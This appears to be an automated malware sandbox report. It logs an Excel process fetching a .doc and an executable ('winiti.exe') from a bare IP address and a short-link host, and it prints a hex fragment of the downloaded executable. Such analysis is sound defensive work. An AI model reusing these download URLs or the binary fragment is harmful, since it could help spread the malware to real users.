Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49168
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 10:42:50 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Tue, 16 Jul 2024 19:13:36 GMTETag: "e8400-61d6224798859"Accept-Ranges: bytesContent-Length: 951296Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 60 c6 96 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 78 0e 00 00 0a 00 00 00 00 00 00 1e 96 0e 00 00 20 00 00 00 a0 0e 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 0e 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c9 95 0e 00 4f 00 00 00 00 a0 0e 00 18 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 0e 00 0c 00 00 00 28 6d 0e 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 24 76 0e 00 00 20 00 00 00 78 0e 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 18 06 00 00 00 a0 0e 00 00 08 00 00 00 7a 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 0e 00 00 02 00 00 00 82 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fd 95 0e 00 00 00 00 00 48 00 00 00 02 00 05 00 04 05 01 00 4c 55 00 00 03 00 00 00 49 00 00 06 50 5a 01 00 d8 12 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a6 02 16 7d 02 00 00 04 02 72 01 00 00 70 7d 03 00 00 04 02 14 7d 05 00 00 04 02 28 15 00 00 0a 00 00 02 28 0f 00 00 06 00 2a c2 02 16 7d 02 00 00 04 02 72 01 00 00 70 7d 03 00 00 04 02 14 7d 05 00 00 04 02 28 15 00 00 0a 00 00 02 28 0f 00 00 06 00 02 03 7d 01 00 00 04 2a 00 1b 30 03 00 82 00 00 00 01 00 00 11 00 14 0a 00 72 03 00 00 70 73 16 00 00 0a 0a 06 6f 17 00 00 0a 00 72 ba 00 00 70 0b 07 06 73 18 00 00 0a 0c 73 19 00 00 0a 0d 08 73 1a 00 00 0a 13 04 11 04 09 6f 1b 00 00 0a 26 02 09 6f 1c 00 00 0a 16 6f 1d 00 00 0a 7d 04 00 00 04 02 7b 06 00 00 04 02 7b 04 00 00 04 6f 1e 00 00 0a 00 00 de 13 13 05 00 11 05 6f 1f 00 00 0a 28 20 00 00 0a 26 00 de 00 de 0a 00 06 6f 21 00 00 0a 00 00 dc 2a 00 00 01 1c 00 00 00 00 03 00 5f 62 00 13 20 00 00 01 02 00 03 00 74 77 00 0a 00 00 00 00 13 30 04 00 c2 00 00 00 02 00 00 11 00 02 7b 07 00 00 04 72 01 00 00 70 6f 22 00 00 0a 00 02 7b
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: DATAWAGONUS DATAWAGONUS
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /dGa HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/bn/recreatednewthingswithentrienewprocesswhichwedidwithouthavingsuchagereatthigstodoever_______greatthingstohappened.doc HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 104.219.239.104Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /80/winiti.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 104.219.239.104Connection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\530AFBE1.emf Jump to behavior
Source: global traffic HTTP traffic detected: GET /dGa HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/bn/recreatednewthingswithentrienewprocesswhichwedidwithouthavingsuchagereatthigstodoever_______greatthingstohappened.doc HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 104.219.239.104Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /80/winiti.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 104.219.239.104Connection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: tny.wtf
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 10:42:43 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uulhEEiOXoGYlZKlmb7SClhCYxU3NtgRhPNKtJluJpWOvx9ZuS%2Br%2FBuSb0b09MXIxBNU3%2BrDH%2Fx63ADu3v8wftWYGOO2kAeRv0Ygjnlbg3OOOf2BmotdEBOM"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a93c8dc7946c431-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 10:42:44 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=El%2Br9sSKHqmmdHwhLPqywED1VjWGqYnttXLHjgYMPuW9%2FtpQHKub02g89K8uueu1%2BQYXwsUFO%2FqG5NSlk0rGVTUWs5iyDMzalfipJkR9ovf%2FMT8kYr7VV%2Bd2"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a93c8e53feac431-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
